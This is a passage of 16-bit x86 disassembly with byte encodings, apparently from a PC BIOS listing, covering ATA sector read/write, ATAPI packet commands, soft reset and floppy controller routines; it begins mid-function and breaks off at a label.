xor bh, bh ; 30 ff
mov ax, bx ; 89 d8
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00004h ; 83 c2 04
out DX, AL ; ee
mov al, byte [bp-023h] ; 8a 46 dd
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00005h ; 83 c2 05
out DX, AL ; ee
xor al, al ; 30 c0
mov byte [bp-00fh], bh ; 88 7e f1
mov word [bp-020h], ax ; 89 46 e0
mov word [bp-00ch], ax ; 89 46 f4
mov ax, word [bp-022h] ; 8b 46 de
xor ah, ah ; 30 e4
mov word [bp-014h], ax ; 89 46 ec
mov ax, word [bp-00ch] ; 8b 46 f4
mov bx, word [bp-020h] ; 8b 5e e0
mov cx, word [bp-010h] ; 8b 4e f0
mov dx, word [bp-022h] ; 8b 56 de
mov si, strict word 00008h ; be 08 00
call 0a1a0h ; e8 39 78
mov word [bp-00ch], ax ; 89 46 f4
mov word [bp-020h], bx ; 89 5e e0
mov word [bp-010h], cx ; 89 4e f0
mov word [bp-022h], dx ; 89 56 de
mov word [bp-024h], dx ; 89 56 dc
mov si, strict word 00010h ; be 10 00
call 0a1a0h ; e8 24 78
mov word [bp-022h], dx ; 89 56 de
mov ax, dx ; 89 d0
xor ah, dh ; 30 f4
and AL, strict byte 00fh ; 24 0f
or AL, strict byte 040h ; 0c 40
mov word [bp-018h], ax ; 89 46 e8
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 00ah ; b0 0a
out DX, AL ; ee
mov dx, word [bp-008h] ; 8b 56 f8
inc dx ; 42
xor al, al ; 30 c0
out DX, AL ; ee
mov dx, word [bp-008h] ; 8b 56 f8
inc dx ; 42
inc dx ; 42
mov al, byte [bp-01ah] ; 8a 46 e6
out DX, AL ; ee
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00003h ; 83 c2 03
mov al, byte [bp-014h] ; 8a 46 ec
out DX, AL ; ee
mov ax, word [bp-024h] ; 8b 46 dc
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00004h ; 83 c2 04
out DX, AL ; ee
mov al, byte [bp-023h] ; 8a 46 dd
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00005h ; 83 c2 05
out DX, AL ; ee
cmp byte [bp-006h], 000h ; 80 7e fa 00
je short 029cch ; 74 05
mov ax, 000b0h ; b8 b0 00
jmp short 029cfh ; eb 03
mov ax, 000a0h ; b8 a0 00
mov dl, byte [bp-018h] ; 8a 56 e8
xor dh, dh ; 30 f6
or ax, dx ; 09 d0
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00006h ; 83 c2 06
out DX, AL ; ee
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00007h ; 83 c2 07
mov al, byte [bp-01eh] ; 8a 46 e2
out DX, AL ; ee
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, al ; 88 c3
test AL, strict byte 080h ; a8 80
jne short 029e7h ; 75 f1
test AL, strict byte 001h ; a8 01
je short 02a09h ; 74 0f
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00002h ; b8 02 00
jmp near 02a9eh ; e9 95 00
test bl, 008h ; f6 c3 08
jne short 02a1dh ; 75 0f
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00003h ; b8 03 00
jmp near 02a9eh ; e9 81 00
sti ; fb
mov ax, word [bp-016h] ; 8b 46 ea
cmp ax, 0f800h ; 3d 00 f8
jc short 02a38h ; 72 12
mov dx, ax ; 89 c2
sub dx, 00800h ; 81 ea 00 08
mov ax, word [bp-012h] ; 8b 46 ee
add ax, 00080h ; 05 80 00
mov word [bp-016h], dx ; 89 56 ea
mov word [bp-012h], ax ; 89 46 ee
mov dx, word [bp-008h] ; 8b 56 f8
mov cx, word [bp-01ch] ; 8b 4e e4
mov si, word [bp-016h] ; 8b 76 ea
mov es, [bp-012h] ; 8e 46 ee
db 0f3h, 026h, 06fh
; rep es outsw ; f3 26 6f
mov word [bp-016h], si ; 89 76 ea
mov es, [bp-00ah] ; 8e 46 f6
inc word [es:di+018h] ; 26 ff 45 18
dec word [bp-01ah] ; ff 4e e6
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, al ; 88 c3
test AL, strict byte 080h ; a8 80
jne short 02a54h ; 75 f1
cmp word [bp-01ah], strict byte 00000h ; 83 7e e6 00
jne short 02a7dh ; 75 14
and AL, strict byte 0e9h ; 24 e9
cmp AL, strict byte 040h ; 3c 40
je short 02a93h ; 74 24
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00006h ; b8 06 00
jmp short 02a9eh ; eb 21
mov al, bl ; 88 d8
and AL, strict byte 0c9h ; 24 c9
cmp AL, strict byte 048h ; 3c 48
je short 02a1eh ; 74 99
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00007h ; b8 07 00
jmp short 02a9eh ; eb 0b
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
xor ax, ax ; 31 c0
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
@ata_read_sectors: ; 0xf2aa5 LB 0xc1
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
mov si, word [bp+004h] ; 8b 76 04
mov es, [bp+006h] ; 8e 46 06
mov al, byte [es:si+00ch] ; 26 8a 44 0c
mov bx, word [es:si+00eh] ; 26 8b 5c 0e
mov CL, strict byte 009h ; b1 09
mov dx, bx ; 89 da
sal dx, CL ; d3 e2
mov cx, dx ; 89 d1
cmp word [es:si+016h], strict byte 00000h ; 26 83 7c 16 00
je short 02aedh ; 74 23
xor ah, ah ; 30 e4
mov di, strict word 0001ch ; bf 1c 00
imul di ; f7 ef
mov dx, es ; 8c c2
mov [bp-00ah], es ; 8c 46 f6
mov di, si ; 89 f7
add di, ax ; 01 c7
mov word [es:di+028h], cx ; 26 89 4d 28
mov cx, bx ; 89 d9
mov bx, 000c4h ; bb c4 00
mov ax, si ; 89 f0
call 01e9dh ; e8 b5 f3
mov es, [bp-00ah] ; 8e 46 f6
jmp short 02b57h ; eb 6a
xor di, di ; 31 ff
mov word [bp-008h], di ; 89 7e f8
mov word [bp-00ah], di ; 89 7e f6
mov dx, word [es:si] ; 26 8b 14
add dx, bx ; 01 da
mov word [bp-006h], dx ; 89 56 fa
adc di, word [es:si+002h] ; 26 13 7c 02
mov dx, word [es:si+004h] ; 26 8b 54 04
adc dx, word [bp-008h] ; 13 56 f8
mov word [bp-008h], dx ; 89 56 f8
mov dx, word [es:si+006h] ; 26 8b 54 06
adc dx, word [bp-00ah] ; 13 56 f6
test dx, dx ; 85 d2
jnbe short 02b28h ; 77 12
jne short 02b36h ; 75 1e
cmp word [bp-008h], strict byte 00000h ; 83 7e f8 00
jnbe short 02b28h ; 77 0a
jne short 02b36h ; 75 16
cmp di, 01000h ; 81 ff 00 10
jnbe short 02b28h ; 77 02
jne short 02b36h ; 75 0e
mov cx, bx ; 89 d9
mov bx, strict word 00024h ; bb 24 00
mov ax, si ; 89 f0
mov dx, es ; 8c c2
call 01e9dh ; e8 69 f3
jmp short 02b5dh ; eb 27
xor ah, ah ; 30 e4
mov di, strict word 0001ch ; bf 1c 00
imul di ; f7 ef
mov dx, es ; 8c c2
mov [bp-006h], es ; 8c 46 fa
mov di, si ; 89 f7
add di, ax ; 01 c7
mov word [es:di+028h], cx ; 26 89 4d 28
mov cx, bx ; 89 d9
mov bx, 000c4h ; bb c4 00
mov ax, si ; 89 f0
call 01e9dh ; e8 49 f3
mov es, [bp-006h] ; 8e 46 fa
mov word [es:di+028h], 00200h ; 26 c7 45 28 00 02
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
@ata_write_sectors: ; 0xf2b66 LB 0x5b
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
les si, [bp+004h] ; c4 76 04
mov cx, word [es:si+00eh] ; 26 8b 4c 0e
cmp word [es:si+016h], strict byte 00000h ; 26 83 7c 16 00
je short 02b86h ; 74 0c
mov bx, strict word 00030h ; bb 30 00
mov ax, si ; 89 f0
mov dx, es ; 8c c2
call 02817h ; e8 93 fc
jmp short 02bb8h ; eb 32
xor ax, ax ; 31 c0
xor bx, bx ; 31 db
xor dx, dx ; 31 d2
mov di, word [es:si] ; 26 8b 3c
add di, cx ; 01 cf
mov word [bp-006h], di ; 89 7e fa
adc ax, word [es:si+002h] ; 26 13 44 02
adc bx, word [es:si+004h] ; 26 13 5c 04
adc dx, word [es:si+006h] ; 26 13 54 06
test dx, dx ; 85 d2
jnbe short 02bb3h ; 77 0f
jne short 02b7ah ; 75 d4
test bx, bx ; 85 db
jnbe short 02bb3h ; 77 09
jne short 02b7ah ; 75 ce
cmp ax, 01000h ; 3d 00 10
jnbe short 02bb3h ; 77 02
jne short 02b7ah ; 75 c7
mov bx, strict word 00034h ; bb 34 00
jmp short 02b7dh ; eb c5
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
ata_cmd_packet_: ; 0xf2bc1 LB 0x28b
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00010h ; 83 ec 10
push ax ; 50
mov byte [bp-006h], dl ; 88 56 fa
mov si, bx ; 89 de
mov di, cx ; 89 cf
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 94 ea
mov word [bp-010h], 00122h ; c7 46 f0 22 01
mov word [bp-00eh], ax ; 89 46 f2
mov ax, word [bp-016h] ; 8b 46 ea
shr ax, 1 ; d1 e8
mov cl, byte [bp-016h] ; 8a 4e ea
and cl, 001h ; 80 e1 01
cmp byte [bp+00ah], 002h ; 80 7e 0a 02
jne short 02c16h ; 75 23
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 35 ed
mov ax, 00221h ; b8 21 02
push ax ; 50
mov ax, 00230h ; b8 30 02
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 69 ed
add sp, strict byte 00006h ; 83 c4 06
mov ax, strict word 00001h ; b8 01 00
jmp near 02e43h ; e9 2d 02
test byte [bp+004h], 001h ; f6 46 04 01
jne short 02c10h ; 75 f4
xor ah, ah ; 30 e4
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
les bx, [bp-010h] ; c4 5e f0
add bx, ax ; 01 c3
mov ax, word [es:bx+00206h] ; 26 8b 87 06 02
mov word [bp-012h], ax ; 89 46 ee
mov ax, word [es:bx+00208h] ; 26 8b 87 08 02
mov word [bp-008h], ax ; 89 46 f8
xor ax, ax ; 31 c0
mov word [bp-00ch], ax ; 89 46 f4
mov word [bp-00ah], ax ; 89 46 f6
mov al, byte [bp-006h] ; 8a 46 fa
cmp AL, strict byte 00ch ; 3c 0c
jnc short 02c4dh ; 73 06
mov byte [bp-006h], 00ch ; c6 46 fa 0c
jmp short 02c53h ; eb 06
jbe short 02c53h ; 76 04
mov byte [bp-006h], 010h ; c6 46 fa 10
shr byte [bp-006h], 1 ; d0 6e fa
les bx, [bp-010h] ; c4 5e f0
mov word [es:bx+018h], strict word 00000h ; 26 c7 47 18 00 00
mov word [es:bx+01ah], strict word 00000h ; 26 c7 47 1a 00 00
mov word [es:bx+01ch], strict word 00000h ; 26 c7 47 1c 00 00
mov dx, word [bp-012h] ; 8b 56 ee
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 080h ; a8 80
je short 02c7eh ; 74 06
mov ax, strict word 00002h ; b8 02 00
jmp near 02e43h ; e9 c5 01
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 00ah ; b0 0a
out DX, AL ; ee
mov dx, word [bp-012h] ; 8b 56 ee
add dx, strict byte 00004h ; 83 c2 04
mov AL, strict byte 0f0h ; b0 f0
out DX, AL ; ee
mov dx, word [bp-012h] ; 8b 56 ee
add dx, strict byte 00005h ; 83 c2 05
mov AL, strict byte 0ffh ; b0 ff
out DX, AL ; ee
test cl, cl ; 84 c9
je short 02ca2h ; 74 05
mov ax, 000b0h ; b8 b0 00
jmp short 02ca5h ; eb 03
mov ax, 000a0h ; b8 a0 00
mov dx, word [bp-012h] ; 8b 56 ee
add dx, strict byte 00006h ; 83 c2 06
out DX, AL ; ee
mov dx, word [bp-012h] ; 8b 56 ee
add dx, strict byte 00007h ; 83 c2 07
mov AL, strict byte 0a0h ; b0 a0
out DX, AL ; ee
mov dx, word [bp-012h] ; 8b 56 ee
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, al ; 88 c3
test AL, strict byte 080h ; a8 80
jne short 02cb5h ; 75 f1
test AL, strict byte 001h ; a8 01
je short 02cd7h ; 74 0f
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00003h ; b8 03 00
jmp near 02e43h ; e9 6c 01
test bl, 008h ; f6 c3 08
jne short 02cebh ; 75 0f
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00004h ; b8 04 00
jmp near 02e43h ; e9 58 01
sti ; fb
mov CL, strict byte 004h ; b1 04
mov ax, si ; 89 f0
shr ax, CL ; d3 e8
add di, ax ; 01 c7
and si, strict byte 0000fh ; 83 e6 0f
mov cl, byte [bp-006h] ; 8a 4e fa
xor ch, ch ; 30 ed
mov dx, word [bp-012h] ; 8b 56 ee
mov es, di ; 8e c7
db 0f3h, 026h, 06fh
; rep es outsw ; f3 26 6f
cmp byte [bp+00ah], 000h ; 80 7e 0a 00
jne short 02d15h ; 75 0b
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, al ; 88 c3
jmp near 02e24h ; e9 0f 01
mov dx, word [bp-012h] ; 8b 56 ee
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, al ; 88 c3
test AL, strict byte 080h ; a8 80
jne short 02d15h ; 75 f1
test AL, strict byte 088h ; a8 88
je short 02d8ah ; 74 62
test AL, strict byte 001h ; a8 01
je short 02d37h ; 74 0b
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
jmp short 02cd1h ; eb 9a
mov al, bl ; 88 d8
and AL, strict byte 0c9h ; 24 c9
cmp AL, strict byte 048h ; 3c 48
je short 02d4ah ; 74 0b
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
jmp short 02ce5h ; eb 9b
mov CL, strict byte 004h ; b1 04
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, CL ; d3 e8
mov dx, word [bp+00eh] ; 8b 56 0e
add dx, ax ; 01 c2
mov ax, word [bp+00ch] ; 8b 46 0c
and ax, strict word 0000fh ; 25 0f 00
mov word [bp+00ch], ax ; 89 46 0c
mov word [bp+00eh], dx ; 89 56 0e
mov dx, word [bp-012h] ; 8b 56 ee
add dx, strict byte 00005h ; 83 c2 05
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bh, al ; 88 c7
xor bl, bl ; 30 db
mov dx, word [bp-012h] ; 8b 56 ee
add dx, strict byte 00004h ; 83 c2 04
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
add bx, ax ; 01 c3
mov ax, word [bp+004h] ; 8b 46 04
cmp bx, ax ; 39 c3
jnc short 02d8dh ; 73 0c
mov cx, bx ; 89 d9
sub word [bp+004h], bx ; 29 5e 04
xor bx, bx ; 31 db
jmp short 02d96h ; eb 0c
jmp near 02e24h ; e9 97 00
mov cx, ax ; 89 c1
mov word [bp+004h], strict word 00000h ; c7 46 04 00 00
sub bx, ax ; 29 c3
xor ax, ax ; 31 c0
cmp word [bp+008h], strict byte 00000h ; 83 7e 08 00
jne short 02db4h ; 75 16
cmp bx, word [bp+006h] ; 3b 5e 06
jbe short 02db4h ; 76 11
sub bx, word [bp+006h] ; 2b 5e 06
mov word [bp-014h], bx ; 89 5e ec
mov bx, word [bp+006h] ; 8b 5e 06
mov word [bp+006h], ax ; 89 46 06
mov word [bp+008h], ax ; 89 46 08
jmp short 02dbdh ; eb 09
mov word [bp-014h], ax ; 89 46 ec
sub word [bp+006h], bx ; 29 5e 06
sbb word [bp+008h], ax ; 19 46 08
mov si, bx ; 89 de
test cl, 003h ; f6 c1 03
test bl, 003h ; f6 c3 03
test byte [bp-014h], 003h ; f6 46 ec 03
test bl, 001h ; f6 c3 01
je short 02ddeh ; 74 10
inc bx ; 43
cmp word [bp-014h], strict byte 00000h ; 83 7e ec 00
jbe short 02ddeh ; 76 09
test byte [bp-014h], 001h ; f6 46 ec 01
je short 02ddeh ; 74 03
dec word [bp-014h] ; ff 4e ec
shr bx, 1 ; d1 eb
shr cx, 1 ; d1 e9
shr word [bp-014h], 1 ; d1 6e ec
test cx, cx ; 85 c9
je short 02defh ; 74 06
mov dx, word [bp-012h] ; 8b 56 ee
in ax, DX ; ed
loop 02dech ; e2 fd
mov dx, word [bp-012h] ; 8b 56 ee
mov cx, bx ; 89 d9
les di, [bp+00ch] ; c4 7e 0c
rep insw ; f3 6d
mov ax, word [bp-014h] ; 8b 46 ec
test ax, ax ; 85 c0
je short 02e05h ; 74 05
mov cx, ax ; 89 c1
in ax, DX ; ed
loop 02e02h ; e2 fd
add word [bp+00ch], si ; 01 76 0c
xor ax, ax ; 31 c0
add word [bp-00ch], si ; 01 76 f4
adc word [bp-00ah], ax ; 11 46 f6
mov ax, word [bp-00ch] ; 8b 46 f4
les bx, [bp-010h] ; c4 5e f0
mov word [es:bx+01ah], ax ; 26 89 47 1a
mov ax, word [bp-00ah] ; 8b 46 f6
mov word [es:bx+01ch], ax ; 26 89 47 1c
jmp near 02d15h ; e9 f1 fe
mov al, bl ; 88 d8
and AL, strict byte 0e9h ; 24 e9
cmp AL, strict byte 040h ; 3c 40
je short 02e38h ; 74 0c
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
jmp near 02ce5h ; e9 ad fe
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
xor ax, ax ; 31 c0
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 0000ch ; c2 0c 00
ata_soft_reset_: ; 0xf2e4c LB 0x84
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push ax ; 50
mov bx, ax ; 89 c3
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 10 e8
mov es, ax ; 8e c0
mov ax, bx ; 89 d8
shr ax, 1 ; d1 e8
and bl, 001h ; 80 e3 01
mov byte [bp-008h], bl ; 88 5e f8
xor ah, ah ; 30 e4
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
mov bx, ax ; 89 c3
add bx, 00122h ; 81 c3 22 01
mov cx, word [es:bx+00206h] ; 26 8b 8f 06 02
mov bx, word [es:bx+00208h] ; 26 8b 9f 08 02
lea dx, [bx+006h] ; 8d 57 06
mov AL, strict byte 00ah ; b0 0a
out DX, AL ; ee
cmp byte [bp-008h], 000h ; 80 7e f8 00
je short 02e92h ; 74 05
mov ax, 000b0h ; b8 b0 00
jmp short 02e95h ; eb 03
mov ax, 000a0h ; b8 a0 00
mov dx, cx ; 89 ca
add dx, strict byte 00006h ; 83 c2 06
out DX, AL ; ee
mov dx, cx ; 89 ca
add dx, strict byte 00007h ; 83 c2 07
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov dx, cx ; 89 ca
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 080h ; a8 80
jne short 02ea3h ; 75 f4
and AL, strict byte 0e9h ; 24 e9
cmp AL, strict byte 040h ; 3c 40
je short 02ec0h ; 74 0b
lea dx, [bx+006h] ; 8d 57 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00001h ; b8 01 00
jmp short 02ec8h ; eb 08
lea dx, [bx+006h] ; 8d 57 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
xor ax, ax ; 31 c0
lea sp, [bp-006h] ; 8d 66 fa
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
set_diskette_current_cyl_: ; 0xf2ed0 LB 0x2c
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
mov bl, al ; 88 c3
cmp AL, strict byte 001h ; 3c 01
jbe short 02ee8h ; 76 0e
mov ax, 00250h ; b8 50 02
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 91 ea
add sp, strict byte 00004h ; 83 c4 04
xor bh, bh ; 30 ff
add bx, 00094h ; 81 c3 94 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], dl ; 26 88 17
lea sp, [bp-002h] ; 8d 66 fe
pop bx ; 5b
pop bp ; 5d
retn ; c3
floppy_wait_for_interrupt_: ; 0xf2efc LB 0x23
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
cli ; fa
mov bx, strict word 0003eh ; bb 3e 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:bx] ; 26 8a 07
test AL, strict byte 080h ; a8 80
je short 02f14h ; 74 04
and AL, strict byte 080h ; 24 80
jmp short 02f19h ; eb 05
sti ; fb
hlt ; f4
cli ; fa
jmp short 02f01h ; eb e8
lea sp, [bp-002h] ; 8d 66 fe
pop bx ; 5b
pop bp ; 5d
retn ; c3
floppy_wait_for_interrupt_or_timeout_: ; 0xf2f1f LB 0x38
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
cli ; fa
mov bx, strict word 00040h ; bb 40 00
mov es, bx ; 8e c3
mov al, byte [es:bx] ; 26 8a 07
test al, al ; 84 c0
jne short 02f33h ; 75 03
sti ; fb
jmp short 02f51h ; eb 1e
mov bx, strict word 0003eh ; bb 3e 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:bx] ; 26 8a 07
test AL, strict byte 080h ; a8 80
je short 02f4ch ; 74 0a
mov ah, al ; 88 c4
and ah, 07fh ; 80 e4 7f
mov byte [es:bx], ah ; 26 88 27
jmp short 02f51h ; eb 05
sti ; fb
hlt ; f4
cli ; fa
jmp short 02f24h ; eb d3
lea sp, [bp-002h] ; 8d 66 fe
pop bx ; 5b
pop bp ; 5d
retn ; c3
floppy_reset_controller_: ; 0xf2f57 LB 0x3f
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
mov cx, ax ; 89 c1
mov dx, 003f2h ; ba f2 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bx, ax ; 89 c3
and AL, strict byte 0fbh ; 24 fb
out DX, AL ; ee
mov al, bl ; 88 d8
or AL, strict byte 004h ; 0c 04
out DX, AL ; ee
mov dx, 003f4h ; ba f4 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 080h ; 3c 80
jne short 02f6fh ; 75 f4
mov bx, cx ; 89 cb
add bx, 00090h ; 81 c3 90 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:bx] ; 26 8a 07
and AL, strict byte 0efh ; 24 ef
mov byte [es:bx], al ; 26 88 07
lea sp, [bp-006h] ; 8d 66 fa
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
floppy_prepare_controller_: ; 0xf2f96 LB 0x75
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push ax ; 50
mov cx, ax ; 89 c1
mov bx, strict word 0003eh ; bb 3e 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:bx] ; 26 8a 07
and AL, strict byte 07fh ; 24 7f
mov byte [es:bx], al ; 26 88 07
mov dx, 003f2h ; ba f2 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 004h ; 24 04
mov byte [bp-008h], al ; 88 46 f8
test cx, cx ; 85 c9
je short 02fc2h ; 74 04
mov AL, strict byte 020h ; b0 20
jmp short 02fc4h ; eb 02
mov AL, strict byte 010h ; b0 10
or AL, strict byte 00ch ; 0c 0c
or al, cl ; 08 c8
mov dx, 003f2h ; ba f2 03
out DX, AL ; ee
mov bx, strict word 00040h ; bb 40 00
mov es, bx ; 8e c3
mov byte [es:bx], 025h ; 26 c6 07 25
mov bx, 0008bh ; bb 8b 00
mov al, byte [es:bx] ; 26 8a 07
mov CL, strict byte 006h ; b1 06
shr al, CL ; d2 e8
mov dx, 003f7h ; ba f7 03
out DX, AL ; ee
mov dx, 003f4h ; ba f4 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 080h ; 3c 80
jne short 02fe3h ; 75 f4
cmp byte [bp-008h], 000h ; 80 7e f8 00
jne short 03003h ; 75 0e
call 02efch ; e8 04 ff
mov bx, strict word 0003eh ; bb 3e 00
mov dx, strict word 00040h ; ba 40 00
mov es, dx ; 8e c2
mov byte [es:bx], al ; 26 88 07
lea sp, [bp-006h] ; 8d 66 fa
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
floppy_media_known_: ; 0xf300b LB 0x4c
push bx ; 53
push cx ; 51
push dx ; 52
push bp ; 55
mov bp, sp ; 89 e5
mov bx, strict word 0003eh ; bb 3e 00
mov dx, strict word 00040h ; ba 40 00
mov es, dx ; 8e c2
mov bh, byte [es:bx] ; 26 8a 3f
mov bl, bh ; 88 fb
test ax, ax ; 85 c0
je short 03024h ; 74 02
shr bl, 1 ; d0 eb
and bl, 001h ; 80 e3 01
jne short 0302dh ; 75 04
xor bh, bh ; 30 ff
jmp short 03050h ; eb 23
mov bx, 00090h ; bb 90 00
test ax, ax ; 85 c0
je short 03037h ; 74 03
mov bx, 00091h ; bb 91 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:bx] ; 26 8a 07
xor ah, ah ; 30 e4
mov CL, strict byte 004h ; b1 04
sar ax, CL ; d3 f8
and AL, strict byte 001h ; 24 01
jne short 0304dh ; 75 04
xor bx, bx ; 31 db
jmp short 03050h ; eb 03
mov bx, strict word 00001h ; bb 01 00
mov ax, bx ; 89 d8
pop bp ; 5d
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
retn ; c3
floppy_read_id_: ; 0xf3057 LB 0x52
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
push si ; 56
mov bx, ax ; 89 c3
call 02f96h ; e8 34 ff
mov AL, strict byte 04ah ; b0 4a
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
mov al, bl ; 88 d8
out DX, AL ; ee
call 02efch ; e8 8e fe
xor bx, bx ; 31 db
jmp short 03077h ; eb 05
cmp bx, strict byte 00007h ; 83 fb 07
jnl short 0308bh ; 7d 14
mov dx, 003f5h ; ba f5 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
lea si, [bx+042h] ; 8d 77 42
mov dx, strict word 00040h ; ba 40 00
mov es, dx ; 8e c2
mov byte [es:si], al ; 26 88 04
inc bx ; 43
jmp short 03072h ; eb e7
mov bx, strict word 00042h ; bb 42 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:bx] ; 26 8a 07
test AL, strict byte 0c0h ; a8 c0
je short 0309eh ; 74 04
xor ax, ax ; 31 c0
jmp short 030a1h ; eb 03
mov ax, strict word 00001h ; b8 01 00
lea sp, [bp-006h] ; 8d 66 fa
pop si ; 5e
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
floppy_drive_recal_: ; 0xf30a9 LB 0x41
